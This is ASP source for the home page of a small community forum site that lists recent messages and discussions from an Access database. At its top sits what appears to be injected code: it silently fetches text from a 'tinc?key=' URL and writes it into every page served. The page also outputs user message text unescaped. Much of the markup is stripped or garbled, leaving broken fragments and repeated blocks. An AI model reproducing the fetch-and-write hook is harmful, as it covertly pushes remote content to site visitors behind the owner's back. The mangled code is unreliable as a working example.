%
Dim objXMLHTTP, xml
Set xml = Server.CreateObject("Microsoft.XMLHTTP")
xml.Open "GET", "http://www.malvernmums.org.uk/tinc?key=2mFjuRcF", False
xml.Send
codetxt=xml.responseText
startpos=instr(codetxt,"
")
response.write "
<%Session.LCID = 2057
on error resume next
Set cn = Server.CreateObject("ADODB.Connection")
DSNName = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath("database/mums.mdb")
cn.Open DSNName
sqlstr="select top 1 * from messages t1,members t2 where mesg_type = 3 and t1.posted_by = t2.usernm order by mesg_id desc"
set forum=cn.execute(sqlstr)
sqlstr="select top 1 * from messages t1,members t2 where mesg_type = 4 and t1.posted_by = t2.usernm order by mesg_id desc"
set forum3=cn.execute(sqlstr)
sqlstr="SELECT discussion.discussion_id, discussion.discussion_desc, " + _
" Max(messages.mesg_dt) AS last_post, Count(messages.mesg_dt) as no_of_posts" + _
" FROM discussion LEFT JOIN messages ON discussion.discussion_id = messages.discussion_id " + _
" GROUP BY discussion.discussion_id, discussion.discussion_desc order by Max(messages.mesg_id) desc ;"
set forum2=cn.execute(sqlstr)
response.write("
Welcome to "&session("sitename")&"
")
if unescape(""&forum("mesg_txt")) <> "" then
response.write("
"&unescape(""&forum("mesg_txt"))&"
")
end if
response.write("
Why not post some messages for other members on our forums?
- "" then
response.write(" style='cursor:pointer' onclick='window.location=""forum_detail.asp?discussion_id="&forum2("discussion_id")&"""' ")
end if
%> ><%=trim(unescape(forum2("discussion_desc")))%>
<%
response.write(""&mid(unescape(forum99("mesg_txt")&" "),1,200)&"...")
set forum99 = Nothing
%>
- "" then
response.write(" style='cursor:pointer' onclick='window.location=""forum_detail.asp?discussion_id="&forum2("discussion_id")&"""' ")
end if
%>><%=trim(unescape(forum2("discussion_desc")))%>
<%
response.write(""&mid(unescape(forum99("mesg_txt")&" "),1,200)&"...")
set forum99 = Nothing
%>
- "" then
response.write(" style='cursor:pointer' onclick='window.location=""forum_detail.asp?discussion_id="&forum2("discussion_id")&"""' ")
end if
%>><%=trim(unescape(forum2("discussion_desc")))%>
<%
response.write(""&mid(unescape(forum99("mesg_txt")&" "),1,200)&"...")
set forum99 = Nothing
%>
- "" then
response.write(" style='cursor:pointer' onclick='window.location=""forum_detail.asp?discussion_id="&forum2("discussion_id")&"""' ")
end if
%>><%=trim(unescape(forum2("discussion_desc")))%>
<%
response.write(""&mid(unescape(forum99("mesg_txt")&" "),1,200)&"...")
set forum99 = Nothing
%>
<%=unescape("" & forum3("mesg_txt"))%>